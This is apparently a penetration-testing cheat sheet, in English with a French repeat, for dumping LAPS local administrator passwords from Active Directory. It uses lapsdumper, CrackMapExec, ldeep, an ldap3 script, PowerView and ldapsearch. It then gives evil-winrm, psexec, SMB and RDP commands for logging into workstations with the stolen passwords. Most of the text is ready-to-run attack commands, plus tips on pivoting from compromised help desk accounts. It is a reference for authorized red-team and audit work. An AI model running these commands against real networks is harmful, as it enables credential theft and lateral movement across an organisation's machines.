lapsdumper

Overview

LAPS (Local Administrator Password Solution) manages unique local administrator passwords for domain-joined computers, storing them in Active Directory. lapsdumper retrieves these passwords via LDAP when the authenticated user has read access to the ms-Mcs-AdmPwd attribute — which may be granted to help desk staff, specific groups, or misconfigured broadly.

Basic Usage

Dump LAPS passwords with domain credentials

python3 lapsdumper.py -u user -p 'P@ssw0rd' -d domain.local

Target specific DC

python3 lapsdumper.py -u user -p 'P@ssw0rd' -d domain.local -l DC01.domain.local

With NTLM hash

python3 lapsdumper.py -u user -H 'NTLM_HASH' -d domain.local

Filter to specific computer

python3 lapsdumper.py -u user -p pass -d domain.local -c WORKSTATION01

Alternative Methods

With CrackMapExec

crackmapexec ldap DC01 -u user -p 'P@ssw0rd' -M laps

With ldeep

ldeep ldap -u user -p pass -d domain.local -s ldap://DC01 laps

# With impacket (custom LDAP query)
python3 -c "
from ldap3 import Server, Connection, ALL, NTLM
s = Server('DC01', get_info=ALL)
c = Connection(s, user='DOMAIN\\\\user', password='pass', authentication=NTLM)
c.bind()
c.search('DC=domain,DC=local', '(ms-Mcs-AdmPwd=*)', attributes=['cn','ms-Mcs-AdmPwd','ms-Mcs-AdmPwdExpirationTime'])
for e in c.entries: print(e)
"

With PowerView (from Windows)

Get-DomainComputer -Filter {ms-Mcs-AdmPwd=*} -Properties DNSHostName,ms-Mcs-AdmPwd

With native LDAP query

ldapsearch -x -H ldap://DC01 -D "user@domain.local" -W \
  -b "DC=domain,DC=local" "(ms-Mcs-AdmPwd=*)" ms-Mcs-AdmPwd cn

Who Can Read LAPS

Check who has read access to ms-Mcs-AdmPwd attribute With PowerView:

Find-AdmPwdExtendedRights -Identity "OU=Workstations,DC=domain,DC=local"

# With BloodHound: look for ReadLAPSPassword edges
# Typically granted to:
# - Domain Admins (always)
# - Delegated help desk groups
# - Sometimes misconfigured: Domain Users or Everyone

After Getting LAPS Password

Connect to target as local admin

evil-winrm -i WORKSTATION01 -u administrator -p '<LAPS_PASSWORD>'

Or with CrackMapExec

crackmapexec smb WORKSTATION01 -u administrator -p '<LAPS_PASSWORD>'

RDP

xfreerdp /v:WORKSTATION01 /u:administrator /p:'<LAPS_PASSWORD>'

PSExec

impacket-psexec administrator:'<LAPS_PASSWORD>'@WORKSTATION01

Tips

• LAPS read access is sometimes misconfigured — always check even with low-privilege users
• BloodHound’s ReadLAPSPassword edge makes it easy to visualize who can read what
• LAPS passwords rotate, but the current one is in AD — check expiry with ms-Mcs-AdmPwdExpirationTime
• If a help desk account is compromised, LAPS access may pivot to many workstations

lapsdumper.py [options]

-u USER     Username
-p PASS     Password
-H HASH     NTLM hash
-d DOMAIN   Domain name
-l DC       Domain Controller IP/hostname
-c COMP     Target specific computer name

Vue d’ensemble

LAPS (Local Administrator Password Solution) gère des mots de passe administrateur locaux uniques pour les ordinateurs joints au domaine, en les stockant dans Active Directory. lapsdumper récupère ces mots de passe via LDAP lorsque l’utilisateur authentifié a un accès en lecture à l’attribut ms-Mcs-AdmPwd, ce qui peut être accordé au personnel du support technique, à des groupes spécifiques, ou de façon trop large en cas de mauvaise configuration.

Utilisation de base

# Dumper les mots de passe LAPS avec des identifiants de domaine
python3 lapsdumper.py -u user -p 'P@ssw0rd' -d domain.local

# Cibler un DC spécifique
python3 lapsdumper.py -u user -p 'P@ssw0rd' -d domain.local -l DC01.domain.local

# Avec un hash NTLM
python3 lapsdumper.py -u user -H 'NTLM_HASH' -d domain.local

# Filtrer sur un ordinateur spécifique
python3 lapsdumper.py -u user -p pass -d domain.local -c WORKSTATION01

Méthodes alternatives

# Avec CrackMapExec
crackmapexec ldap DC01 -u user -p 'P@ssw0rd' -M laps

# Avec ldeep
ldeep ldap -u user -p pass -d domain.local -s ldap://DC01 laps

# Avec impacket (requête LDAP personnalisée)
python3 -c "
from ldap3 import Server, Connection, ALL, NTLM
s = Server('DC01', get_info=ALL)
c = Connection(s, user='DOMAIN\\\\user', password='pass', authentication=NTLM)
c.bind()
c.search('DC=domain,DC=local', '(ms-Mcs-AdmPwd=*)', attributes=['cn','ms-Mcs-AdmPwd','ms-Mcs-AdmPwdExpirationTime'])
for e in c.entries: print(e)
"

# Avec PowerView (depuis Windows)
Get-DomainComputer -Filter {ms-Mcs-AdmPwd=*} -Properties DNSHostName,ms-Mcs-AdmPwd

# Avec une requête LDAP native
ldapsearch -x -H ldap://DC01 -D "user@domain.local" -W \
  -b "DC=domain,DC=local" "(ms-Mcs-AdmPwd=*)" ms-Mcs-AdmPwd cn

Qui peut lire LAPS

# Vérifier qui a un accès en lecture à l'attribut ms-Mcs-AdmPwd, avec PowerView
Find-AdmPwdExtendedRights -Identity "OU=Workstations,DC=domain,DC=local"

# Avec BloodHound : chercher les arêtes ReadLAPSPassword
# Généralement accordé à :
# - Domain Admins (toujours)
# - Groupes help desk délégués
# - Parfois mal configuré : Domain Users ou Everyone

Une fois le mot de passe LAPS obtenu

# Se connecter à la cible en tant qu'admin local
evil-winrm -i WORKSTATION01 -u administrator -p '<LAPS_PASSWORD>'

# Ou avec CrackMapExec
crackmapexec smb WORKSTATION01 -u administrator -p '<LAPS_PASSWORD>'

# RDP
xfreerdp /v:WORKSTATION01 /u:administrator /p:'<LAPS_PASSWORD>'

# PSExec
impacket-psexec administrator:'<LAPS_PASSWORD>'@WORKSTATION01

Conseils

• L’accès en lecture LAPS est parfois mal configuré : toujours vérifier, même avec des utilisateurs peu privilégiés
• L’arête ReadLAPSPassword de BloodHound facilite la visualisation de qui peut lire quoi
• Les mots de passe LAPS tournent, mais le mot de passe actuel est dans l’AD : vérifier l’expiration avec ms-Mcs-AdmPwdExpirationTime
• Si un compte help desk est compromis, l’accès LAPS peut permettre de pivoter vers de nombreux postes

lapsdumper.py [options]

-u USER     Username
-p PASS     Password
-H HASH     NTLM hash
-d DOMAIN   Domain name
-l DC       Domain Controller IP/hostname
-c COMP     Target specific computer name